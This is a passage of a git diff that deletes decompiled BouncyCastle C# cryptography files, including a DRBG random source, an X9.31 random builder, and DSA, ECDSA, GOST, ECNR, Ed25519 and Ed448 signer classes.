public override void SetSeed(long seed) - { - lock (this) - { - if (mRandomSource != null) - { - mRandomSource.SetSeed(seed); - } - } - } - - public override void NextBytes(byte[] bytes) - { - lock (this) - { - if (mDrbg.Generate(bytes, mPredictionResistant) < 0) - { - mDrbg.Reseed(); - mDrbg.Generate(bytes, mPredictionResistant); - } - } - } - - public override void NextBytes(byte[] buf, int off, int len) - { - byte[] array = new byte[len]; - NextBytes(array); - Array.Copy(array, 0, buf, off, len); - } - - public override byte[] GenerateSeed(int numBytes) - { - return EntropyUtilities.GenerateSeed(mDrbg.EntropySource, numBytes); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/X931SecureRandomBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/X931SecureRandomBuilder.cs deleted file mode 100644 index 0e23ef6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Prng/X931SecureRandomBuilder.cs +++ /dev/null @@ -1,49 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities.Date; - -namespace Org.BouncyCastle.Crypto.Prng; - -public class X931SecureRandomBuilder -{ - private readonly SecureRandom mRandom; - - private IEntropySourceProvider mEntropySourceProvider; - - private byte[] mDateTimeVector; - - public X931SecureRandomBuilder() - : this(new SecureRandom(), predictionResistant: false) - { - } - - public X931SecureRandomBuilder(SecureRandom entropySource, bool predictionResistant) - { - mRandom = entropySource; - mEntropySourceProvider = new BasicEntropySourceProvider(mRandom, predictionResistant); - } - - public X931SecureRandomBuilder(IEntropySourceProvider entropySourceProvider) - { - mRandom = null; - mEntropySourceProvider = entropySourceProvider; - } - - public X931SecureRandomBuilder SetDateTimeVector(byte[] dateTimeVector) - { - mDateTimeVector = dateTimeVector; - return this; - } - - public X931SecureRandom Build(IBlockCipher engine, KeyParameter key, bool predictionResistant) - { - if (mDateTimeVector == null) - { - mDateTimeVector = new byte[engine.GetBlockSize()]; - Pack.UInt64_To_BE((ulong)DateTimeUtilities.CurrentUnixMs(), mDateTimeVector, 0); - } - engine.Init(forEncryption: true, key); - return new X931SecureRandom(mRandom, new X931Rng(engine, mDateTimeVector, mEntropySourceProvider.Get(engine.GetBlockSize() * 8)), predictionResistant); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/DsaDigestSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/DsaDigestSigner.cs deleted file mode 100644 index dcd046b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/DsaDigestSigner.cs +++ /dev/null @@ -1,111 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class DsaDigestSigner : ISigner -{ - private readonly IDsa dsa; - - private readonly IDigest digest; - - private readonly IDsaEncoding encoding; - - private bool forSigning; - - public virtual string AlgorithmName => digest.AlgorithmName + "with" + dsa.AlgorithmName; - - public DsaDigestSigner(IDsa dsa, IDigest digest) - { - this.dsa = dsa; - this.digest = digest; - encoding = StandardDsaEncoding.Instance; - } - - public DsaDigestSigner(IDsaExt dsa, IDigest digest, IDsaEncoding encoding) - { - this.dsa = dsa; - this.digest = digest; - this.encoding = encoding; - } - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - this.forSigning = forSigning; - AsymmetricKeyParameter asymmetricKeyParameter = ((!(parameters is ParametersWithRandom)) ? ((AsymmetricKeyParameter)parameters) : ((AsymmetricKeyParameter)((ParametersWithRandom)parameters).Parameters)); - if (forSigning && !asymmetricKeyParameter.IsPrivate) - { - throw new InvalidKeyException("Signing Requires Private Key."); - } - if (!forSigning && asymmetricKeyParameter.IsPrivate) - { - throw new InvalidKeyException("Verification Requires Public Key."); - } - Reset(); - dsa.Init(forSigning, parameters); - } - - public virtual void Update(byte input) - { - digest.Update(input); - } - - public virtual void BlockUpdate(byte[] input, int inOff, int length) - { - digest.BlockUpdate(input, inOff, length); - } - - public virtual byte[] GenerateSignature() - { - if (!forSigning) - { - throw new InvalidOperationException("DSADigestSigner not initialised for signature generation."); - } - byte[] array = new byte[digest.GetDigestSize()]; - digest.DoFinal(array, 0); - BigInteger[] array2 = dsa.GenerateSignature(array); - try - { - return encoding.Encode(GetOrder(), array2[0], array2[1]); - } - catch (Exception) - { - throw new InvalidOperationException("unable to encode signature"); - } - } - - public virtual bool VerifySignature(byte[] signature) - { - if (forSigning) - { - throw new InvalidOperationException("DSADigestSigner not initialised for verification"); - } - byte[] array = new byte[digest.GetDigestSize()]; - digest.DoFinal(array, 0); - try - { - BigInteger[] array2 = encoding.Decode(GetOrder(), signature); - return dsa.VerifySignature(array, array2[0], array2[1]); - } - catch (Exception) - { - return false; - } - } - - public virtual void Reset() - { - digest.Reset(); - } - - protected virtual BigInteger GetOrder() - { - if (!(dsa is IDsaExt)) - { - return null; - } - return ((IDsaExt)dsa).Order; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/DsaSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/DsaSigner.cs deleted file mode 100644 index 6d03f0d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/DsaSigner.cs +++ /dev/null @@ -1,120 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class DsaSigner : IDsaExt, IDsa -{ - protected readonly IDsaKCalculator kCalculator; - - protected DsaKeyParameters key = null; - - protected SecureRandom random = null; - - public virtual string AlgorithmName => "DSA"; - - public virtual BigInteger Order => key.Parameters.Q; - - public DsaSigner() - { - kCalculator = new RandomDsaKCalculator(); - } - - public DsaSigner(IDsaKCalculator kCalculator) - { - this.kCalculator = kCalculator; - } - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - SecureRandom provided = null; - if (forSigning) - { - if (parameters is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)parameters; - provided = parametersWithRandom.Random; - parameters = parametersWithRandom.Parameters; - } - if (!(parameters is DsaPrivateKeyParameters)) - { - throw new InvalidKeyException("DSA private key required for signing"); - } - key = (DsaPrivateKeyParameters)parameters; - } - else - { - if (!(parameters is DsaPublicKeyParameters)) - { - throw new InvalidKeyException("DSA public key required for verification"); - } - key = (DsaPublicKeyParameters)parameters; - } - random = InitSecureRandom(forSigning && !kCalculator.IsDeterministic, provided); - } - - public virtual BigInteger[] GenerateSignature(byte[] message) - { - DsaParameters parameters = key.Parameters; - BigInteger q = parameters.Q; - BigInteger bigInteger = CalculateE(q, message); - BigInteger x = ((DsaPrivateKeyParameters)key).X; - if (kCalculator.IsDeterministic) - { - kCalculator.Init(q, x, message); - } - else - { - kCalculator.Init(q, random); - } - BigInteger bigInteger2 = kCalculator.NextK(); - BigInteger bigInteger3 = parameters.G.ModPow(bigInteger2, parameters.P).Mod(q); - bigInteger2 = bigInteger2.ModInverse(q).Multiply(bigInteger.Add(x.Multiply(bigInteger3))); - BigInteger bigInteger4 = bigInteger2.Mod(q); - return new BigInteger[2] { bigInteger3, bigInteger4 }; - } - - public virtual bool VerifySignature(byte[] message, BigInteger r, BigInteger s) - { - DsaParameters parameters = key.Parameters; - BigInteger q = parameters.Q; - BigInteger bigInteger = CalculateE(q, message); - if (r.SignValue <= 0 || q.CompareTo(r) <= 0) - { - return false; - } - if (s.SignValue <= 0 || q.CompareTo(s) <= 0) - { - return false; - } - BigInteger val = s.ModInverse(q); - BigInteger e = bigInteger.Multiply(val).Mod(q); - BigInteger e2 = r.Multiply(val).Mod(q); - BigInteger p = parameters.P; - e = parameters.G.ModPow(e, p); - e2 = ((DsaPublicKeyParameters)key).Y.ModPow(e2, p); - BigInteger bigInteger2 = e.Multiply(e2).Mod(p).Mod(q); - return bigInteger2.Equals(r); - } - - protected virtual BigInteger CalculateE(BigInteger n, byte[] message) - { - int length = System.Math.Min(message.Length, n.BitLength / 8); - return new BigInteger(1, message, 0, length); - } - - protected virtual SecureRandom InitSecureRandom(bool needed, SecureRandom provided) - { - if (needed) - { - if (provided == null) - { - return new SecureRandom(); - } - return provided; - } - return null; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/ECDsaSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/ECDsaSigner.cs deleted file mode 100644 index 78933f1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/ECDsaSigner.cs +++ /dev/null @@ -1,185 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class ECDsaSigner : IDsaExt, IDsa -{ - private static readonly BigInteger Eight = BigInteger.ValueOf(8L); - - protected readonly IDsaKCalculator kCalculator; - - protected ECKeyParameters key = null; - - protected SecureRandom random = null; - - public virtual string AlgorithmName => "ECDSA"; - - public virtual BigInteger Order => key.Parameters.N; - - public ECDsaSigner() - { - kCalculator = new RandomDsaKCalculator(); - } - - public ECDsaSigner(IDsaKCalculator kCalculator) - { - this.kCalculator = kCalculator; - } - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - SecureRandom provided = null; - if (forSigning) - { - if (parameters is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)parameters; - provided = parametersWithRandom.Random; - parameters = parametersWithRandom.Parameters; - } - if (!(parameters is ECPrivateKeyParameters)) - { - throw new InvalidKeyException("EC private key required for signing"); - } - key = (ECPrivateKeyParameters)parameters; - } - else - { - if (!(parameters is ECPublicKeyParameters)) - { - throw new InvalidKeyException("EC public key required for verification"); - } - key = (ECPublicKeyParameters)parameters; - } - random = InitSecureRandom(forSigning && !kCalculator.IsDeterministic, provided); - } - - public virtual BigInteger[] GenerateSignature(byte[] message) - { - ECDomainParameters parameters = key.Parameters; - BigInteger n = parameters.N; - BigInteger bigInteger = CalculateE(n, message); - BigInteger d = ((ECPrivateKeyParameters)key).D; - if (kCalculator.IsDeterministic) - { - kCalculator.Init(n, d, message); - } - else - { - kCalculator.Init(n, random); - } - ECMultiplier eCMultiplier = CreateBasePointMultiplier(); - BigInteger bigInteger3; - BigInteger bigInteger4; - while (true) - { - BigInteger bigInteger2 = kCalculator.NextK(); - ECPoint eCPoint = eCMultiplier.Multiply(parameters.G, bigInteger2).Normalize(); - bigInteger3 = eCPoint.AffineXCoord.ToBigInteger().Mod(n); - if (bigInteger3.SignValue != 0) - { - bigInteger4 = bigInteger2.ModInverse(n).Multiply(bigInteger.Add(d.Multiply(bigInteger3))).Mod(n); - if (bigInteger4.SignValue != 0) - { - break; - } - } - } - return new BigInteger[2] { bigInteger3, bigInteger4 }; - } - - public virtual bool VerifySignature(byte[] message, BigInteger r, BigInteger s) - { - BigInteger n = key.Parameters.N; - if (r.SignValue < 1 || s.SignValue < 1 || r.CompareTo(n) >= 0 || s.CompareTo(n) >= 0) - { - return false; - } - BigInteger bigInteger = CalculateE(n, message); - BigInteger val = s.ModInverse(n); - BigInteger a = bigInteger.Multiply(val).Mod(n); - BigInteger b = r.Multiply(val).Mod(n); - ECPoint g = key.Parameters.G; - ECPoint q = ((ECPublicKeyParameters)key).Q; - ECPoint eCPoint = ECAlgorithms.SumOfTwoMultiplies(g, a, q, b); - if (eCPoint.IsInfinity) - { - return false; - } - ECCurve curve = eCPoint.Curve; - if (curve != null) - { - BigInteger cofactor = curve.Cofactor; - if (cofactor != null && cofactor.CompareTo(Eight) <= 0) - { - ECFieldElement denominator = GetDenominator(curve.CoordinateSystem, eCPoint); - if (denominator != null && !denominator.IsZero) - { - ECFieldElement xCoord = eCPoint.XCoord; - while (curve.IsValidFieldElement(r)) - { - ECFieldElement eCFieldElement = curve.FromBigInteger(r).Multiply(denominator); - if (eCFieldElement.Equals(xCoord)) - { - return true; - } - r = r.Add(n); - } - return false; - } - } - } - BigInteger bigInteger2 = eCPoint.Normalize().AffineXCoord.ToBigInteger().Mod(n); - return bigInteger2.Equals(r); - } - - protected virtual BigInteger CalculateE(BigInteger n, byte[] message) - { - int num = message.Length * 8; - BigInteger bigInteger = new BigInteger(1, message); - if (n.BitLength < num) - { - bigInteger = bigInteger.ShiftRight(num - n.BitLength); - } - return bigInteger; - } - - protected virtual ECMultiplier CreateBasePointMultiplier() - { - return new FixedPointCombMultiplier(); - } - - protected virtual ECFieldElement GetDenominator(int coordinateSystem, ECPoint p) - { - switch (coordinateSystem) - { - case 1: - case 6: - case 7: - return p.GetZCoord(0); - case 2: - case 3: - case 4: - return p.GetZCoord(0).Square(); - default: - return null; - } - } - - protected virtual SecureRandom InitSecureRandom(bool needed, SecureRandom provided) - { - if (needed) - { - if (provided == null) - { - return new SecureRandom(); - } - return provided; - } - return null; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/ECGost3410Signer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/ECGost3410Signer.cs deleted file mode 100644 index 4ec66f9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/ECGost3410Signer.cs +++ /dev/null @@ -1,131 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class ECGost3410Signer : IDsaExt, IDsa -{ - private ECKeyParameters key; - - private SecureRandom random; - - private bool forSigning; - - public virtual string AlgorithmName => key.AlgorithmName; - - public virtual BigInteger Order => key.Parameters.N; - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - this.forSigning = forSigning; - if (forSigning) - { - if (parameters is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)parameters; - random = parametersWithRandom.Random; - parameters = parametersWithRandom.Parameters; - } - else - { - random = new SecureRandom(); - } - if (!(parameters is ECPrivateKeyParameters)) - { - throw new InvalidKeyException("EC private key required for signing"); - } - key = (ECPrivateKeyParameters)parameters; - } - else - { - if (!(parameters is ECPublicKeyParameters)) - { - throw new InvalidKeyException("EC public key required for verification"); - } - key = (ECPublicKeyParameters)parameters; - } - } - - public virtual BigInteger[] GenerateSignature(byte[] message) - { - if (!forSigning) - { - throw new InvalidOperationException("not initialized for signing"); - } - byte[] array = new byte[message.Length]; - for (int i = 0; i != array.Length; i++) - { - array[i] = message[array.Length - 1 - i]; - } - BigInteger val = new BigInteger(1, array); - ECDomainParameters parameters = key.Parameters; - BigInteger n = parameters.N; - BigInteger d = ((ECPrivateKeyParameters)key).D; - BigInteger bigInteger = null; - ECMultiplier eCMultiplier = CreateBasePointMultiplier(); - BigInteger bigInteger3; - while (true) - { - BigInteger bigInteger2 = new BigInteger(n.BitLength, random); - if (bigInteger2.SignValue == 0) - { - continue; - } - ECPoint eCPoint = eCMultiplier.Multiply(parameters.G, bigInteger2).Normalize(); - bigInteger3 = eCPoint.AffineXCoord.ToBigInteger().Mod(n); - if (bigInteger3.SignValue != 0) - { - bigInteger = bigInteger2.Multiply(val).Add(d.Multiply(bigInteger3)).Mod(n); - if (bigInteger.SignValue != 0) - { - break; - } - } - } - return new BigInteger[2] { bigInteger3, bigInteger }; - } - - public virtual bool VerifySignature(byte[] message, BigInteger r, BigInteger s) - { - if (forSigning) - { - throw new InvalidOperationException("not initialized for verification"); - } - byte[] array = new byte[message.Length]; - for (int i = 0; i != array.Length; i++) - { - array[i] = message[array.Length - 1 - i]; - } - BigInteger bigInteger = new BigInteger(1, array); - BigInteger n = key.Parameters.N; - if (r.CompareTo(BigInteger.One) < 0 || r.CompareTo(n) >= 0) - { - return false; - } - if (s.CompareTo(BigInteger.One) < 0 || s.CompareTo(n) >= 0) - { - return false; - } - BigInteger val = bigInteger.ModInverse(n); - BigInteger a = s.Multiply(val).Mod(n); - BigInteger b = n.Subtract(r).Multiply(val).Mod(n); - ECPoint g = key.Parameters.G; - ECPoint q = ((ECPublicKeyParameters)key).Q; - ECPoint eCPoint = ECAlgorithms.SumOfTwoMultiplies(g, a, q, b).Normalize(); - if (eCPoint.IsInfinity) - { - return false; - } - BigInteger bigInteger2 = eCPoint.AffineXCoord.ToBigInteger().Mod(n); - return bigInteger2.Equals(r); - } - - protected virtual ECMultiplier CreateBasePointMultiplier() - { - return new FixedPointCombMultiplier(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/ECNRSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/ECNRSigner.cs deleted file mode 100644 index fd023ce..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/ECNRSigner.cs +++ /dev/null @@ -1,121 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class ECNRSigner : IDsaExt, IDsa -{ - private bool forSigning; - - private ECKeyParameters key; - - private SecureRandom random; - - public virtual string AlgorithmName => "ECNR"; - - public virtual BigInteger Order => key.Parameters.N; - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - this.forSigning = forSigning; - if (forSigning) - { - if (parameters is ParametersWithRandom) - { - ParametersWithRandom parametersWithRandom = (ParametersWithRandom)parameters; - random = parametersWithRandom.Random; - parameters = parametersWithRandom.Parameters; - } - else - { - random = new SecureRandom(); - } - if (!(parameters is ECPrivateKeyParameters)) - { - throw new InvalidKeyException("EC private key required for signing"); - } - key = (ECPrivateKeyParameters)parameters; - } - else - { - if (!(parameters is ECPublicKeyParameters)) - { - throw new InvalidKeyException("EC public key required for verification"); - } - key = (ECPublicKeyParameters)parameters; - } - } - - public virtual BigInteger[] GenerateSignature(byte[] message) - { - if (!forSigning) - { - throw new InvalidOperationException("not initialised for signing"); - } - BigInteger order = Order; - int bitLength = order.BitLength; - BigInteger bigInteger = new BigInteger(1, message); - int bitLength2 = bigInteger.BitLength; - ECPrivateKeyParameters eCPrivateKeyParameters = (ECPrivateKeyParameters)key; - if (bitLength2 > bitLength) - { - throw new DataLengthException("input too large for ECNR key."); - } - BigInteger bigInteger2 = null; - BigInteger bigInteger3 = null; - AsymmetricCipherKeyPair asymmetricCipherKeyPair; - do - { - ECKeyPairGenerator eCKeyPairGenerator = new ECKeyPairGenerator(); - eCKeyPairGenerator.Init(new ECKeyGenerationParameters(eCPrivateKeyParameters.Parameters, random)); - asymmetricCipherKeyPair = eCKeyPairGenerator.GenerateKeyPair(); - ECPublicKeyParameters eCPublicKeyParameters = (ECPublicKeyParameters)asymmetricCipherKeyPair.Public; - BigInteger bigInteger4 = eCPublicKeyParameters.Q.AffineXCoord.ToBigInteger(); - bigInteger2 = bigInteger4.Add(bigInteger).Mod(order); - } - while (bigInteger2.SignValue == 0); - BigInteger d = eCPrivateKeyParameters.D; - BigInteger d2 = ((ECPrivateKeyParameters)asymmetricCipherKeyPair.Private).D; - bigInteger3 = d2.Subtract(bigInteger2.Multiply(d)).Mod(order); - return new BigInteger[2] { bigInteger2, bigInteger3 }; - } - - public virtual bool VerifySignature(byte[] message, BigInteger r, BigInteger s) - { - if (forSigning) - { - throw new InvalidOperationException("not initialised for verifying"); - } - ECPublicKeyParameters eCPublicKeyParameters = (ECPublicKeyParameters)key; - BigInteger n = eCPublicKeyParameters.Parameters.N; - int bitLength = n.BitLength; - BigInteger bigInteger = new BigInteger(1, message); - int bitLength2 = bigInteger.BitLength; - if (bitLength2 > bitLength) - { - throw new DataLengthException("input too large for ECNR key."); - } - if (r.CompareTo(BigInteger.One) < 0 || r.CompareTo(n) >= 0) - { - return false; - } - if (s.CompareTo(BigInteger.Zero) < 0 || s.CompareTo(n) >= 0) - { - return false; - } - ECPoint g = eCPublicKeyParameters.Parameters.G; - ECPoint q = eCPublicKeyParameters.Q; - ECPoint eCPoint = ECAlgorithms.SumOfTwoMultiplies(g, s, q, r).Normalize(); - if (eCPoint.IsInfinity) - { - return false; - } - BigInteger n2 = eCPoint.AffineXCoord.ToBigInteger(); - BigInteger bigInteger2 = r.Subtract(n2).Mod(n); - return bigInteger2.Equals(bigInteger); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Ed25519Signer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Ed25519Signer.cs deleted file mode 100644 index 5470fb8..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Ed25519Signer.cs +++ /dev/null @@ -1,107 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math.EC.Rfc8032; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class Ed25519Signer : ISigner -{ - private class Buffer : MemoryStream - { - internal byte[] GenerateSignature(Ed25519PrivateKeyParameters privateKey, Ed25519PublicKeyParameters publicKey) - { - lock (this) - { - byte[] buffer = GetBuffer(); - int msgLen = (int)Position; - byte[] array = new byte[Ed25519PrivateKeyParameters.SignatureSize]; - privateKey.Sign(Ed25519.Algorithm.Ed25519, publicKey, null, buffer, 0, msgLen, array, 0); - Reset(); - return array; - } - } - - internal bool VerifySignature(Ed25519PublicKeyParameters publicKey, byte[] signature) - { - lock (this) - { - byte[] buffer = GetBuffer(); - int mLen = (int)Position; - byte[] encoded = publicKey.GetEncoded(); - bool result = Ed25519.Verify(signature, 0, encoded, 0, buffer, 0, mLen); - Reset(); - return result; - } - } - - internal void Reset() - { - lock (this) - { - long position = Position; - Array.Clear(GetBuffer(), 0, (int)position); - Position = 0L; - } - } - } - - private readonly Buffer buffer = new Buffer(); - - private bool forSigning; - - private Ed25519PrivateKeyParameters privateKey; - - private Ed25519PublicKeyParameters publicKey; - - public virtual string AlgorithmName => "Ed25519"; - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - this.forSigning = forSigning; - if (forSigning) - { - privateKey = (Ed25519PrivateKeyParameters)parameters; - publicKey = privateKey.GeneratePublicKey(); - } - else - { - privateKey = null; - publicKey = (Ed25519PublicKeyParameters)parameters; - } - Reset(); - } - - public virtual void Update(byte b) - { - buffer.WriteByte(b); - } - - public virtual void BlockUpdate(byte[] buf, int off, int len) - { - buffer.Write(buf, off, len); - } - - public virtual byte[] GenerateSignature() - { - if (!forSigning || privateKey == null) - { - throw new InvalidOperationException("Ed25519Signer not initialised for signature generation."); - } - return buffer.GenerateSignature(privateKey, publicKey); - } - - public virtual bool VerifySignature(byte[] signature) - { - if (forSigning || publicKey == null) - { - throw new InvalidOperationException("Ed25519Signer not initialised for verification"); - } - return buffer.VerifySignature(publicKey, signature); - } - - public virtual void Reset() - { - buffer.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Ed25519ctxSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Ed25519ctxSigner.cs deleted file mode 100644 index 22007fb..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Ed25519ctxSigner.cs +++ /dev/null @@ -1,115 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math.EC.Rfc8032; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class Ed25519ctxSigner : ISigner -{ - private class Buffer : MemoryStream - { - internal byte[] GenerateSignature(Ed25519PrivateKeyParameters privateKey, Ed25519PublicKeyParameters publicKey, byte[] ctx) - { - lock (this) - { - byte[] buffer = GetBuffer(); - int msgLen = (int)Position; - byte[] array = new byte[Ed25519PrivateKeyParameters.SignatureSize]; - privateKey.Sign(Ed25519.Algorithm.Ed25519ctx, publicKey, ctx, buffer, 0, msgLen, array, 0); - Reset(); - return array; - } - } - - internal bool VerifySignature(Ed25519PublicKeyParameters publicKey, byte[] ctx, byte[] signature) - { - lock (this) - { - byte[] buffer = GetBuffer(); - int mLen = (int)Position; - byte[] encoded = publicKey.GetEncoded(); - bool result = Ed25519.Verify(signature, 0, encoded, 0, ctx, buffer, 0, mLen); - Reset(); - return result; - } - } - - internal void Reset() - { - lock (this) - { - long position = Position; - Array.Clear(GetBuffer(), 0, (int)position); - Position = 0L; - } - } - } - - private readonly Buffer buffer = new Buffer(); - - private readonly byte[] context; - - private bool forSigning; - - private Ed25519PrivateKeyParameters privateKey; - - private Ed25519PublicKeyParameters publicKey; - - public virtual string AlgorithmName => "Ed25519ctx"; - - public Ed25519ctxSigner(byte[] context) - { - this.context = Arrays.Clone(context); - } - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - this.forSigning = forSigning; - if (forSigning) - { - privateKey = (Ed25519PrivateKeyParameters)parameters; - publicKey = privateKey.GeneratePublicKey(); - } - else - { - privateKey = null; - publicKey = (Ed25519PublicKeyParameters)parameters; - } - Reset(); - } - - public virtual void Update(byte b) - { - buffer.WriteByte(b); - } - - public virtual void BlockUpdate(byte[] buf, int off, int len) - { - buffer.Write(buf, off, len); - } - - public virtual byte[] GenerateSignature() - { - if (!forSigning || privateKey == null) - { - throw new InvalidOperationException("Ed25519ctxSigner not initialised for signature generation."); - } - return buffer.GenerateSignature(privateKey, publicKey, context); - } - - public virtual bool VerifySignature(byte[] signature) - { - if (forSigning || publicKey == null) - { - throw new InvalidOperationException("Ed25519ctxSigner not initialised for verification"); - } - return buffer.VerifySignature(publicKey, context, signature); - } - - public virtual void Reset() - { - buffer.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Ed25519phSigner.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Ed25519phSigner.cs deleted file mode 100644 index 03fb087..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Ed25519phSigner.cs +++ /dev/null @@ -1,83 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math.EC.Rfc8032; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class Ed25519phSigner : ISigner -{ - private readonly IDigest prehash = Ed25519.CreatePrehash(); - - private readonly byte[] context; - - private bool forSigning; - - private Ed25519PrivateKeyParameters privateKey; - - private Ed25519PublicKeyParameters publicKey; - - public virtual string AlgorithmName => "Ed25519ph"; - - public Ed25519phSigner(byte[] context) - { - this.context = Arrays.Clone(context); - } - - public virtual void Init(bool forSigning, ICipherParameters parameters) - { - this.forSigning = forSigning; - if (forSigning) - { - privateKey = (Ed25519PrivateKeyParameters)parameters; - publicKey = privateKey.GeneratePublicKey(); - } - else - { - privateKey = null; - publicKey = (Ed25519PublicKeyParameters)parameters; - } - Reset(); - } - - public virtual void Update(byte b) - { - prehash.Update(b); - } - - public virtual void BlockUpdate(byte[] buf, int off, int len) - { - prehash.BlockUpdate(buf, off, len); - } - - public virtual byte[] GenerateSignature() - { - if (!forSigning || privateKey == null) - { - throw new InvalidOperationException("Ed25519phSigner not initialised for signature generation."); - } - byte[] array = new byte[Ed25519.PrehashSize]; - if (Ed25519.PrehashSize != prehash.DoFinal(array, 0)) - { - throw new InvalidOperationException("Prehash digest failed"); - } - byte[] array2 = new byte[Ed25519PrivateKeyParameters.SignatureSize]; - privateKey.Sign(Ed25519.Algorithm.Ed25519ph, publicKey, context, array, 0, Ed25519.PrehashSize, array2, 0); - return array2; - } - - public virtual bool VerifySignature(byte[] signature) - { - if (forSigning || publicKey == null) - { - throw new InvalidOperationException("Ed25519phSigner not initialised for verification"); - } - byte[] encoded = publicKey.GetEncoded(); - return Ed25519.VerifyPrehash(signature, 0, encoded, 0, context, prehash); - } - - public void Reset() - { - prehash.Reset(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Ed448Signer.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Ed448Signer.cs deleted file mode 100644 index 241f249..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Signers/Ed448Signer.cs +++ /dev/null @@ -1,115 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math.EC.Rfc8032; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Signers; - -public class Ed448Signer : ISigner -{ - private class Buffer : MemoryStream - { - internal byte[] GenerateSignature(Ed448PrivateKeyParameters privateKey, Ed448PublicKeyParameters publicKey, byte[] ctx) - { - lock (this) - { - byte[] buffer = GetBuffer(); - int msgLen = (int)Position; - byte[] array = new byte[Ed448PrivateKeyParameters.SignatureSize]; - privateKey.Sign(Ed448.Algorithm.Ed448, publicKey, ctx, buffer, 0, msgLen, array, 0); - Reset(); - return array; - } - } - - internal bool VerifySignature(Ed448PublicKeyParameters publicKey, byte[] ctx, byte[] signature) - { - lock (this) - { - byte[] buffer = 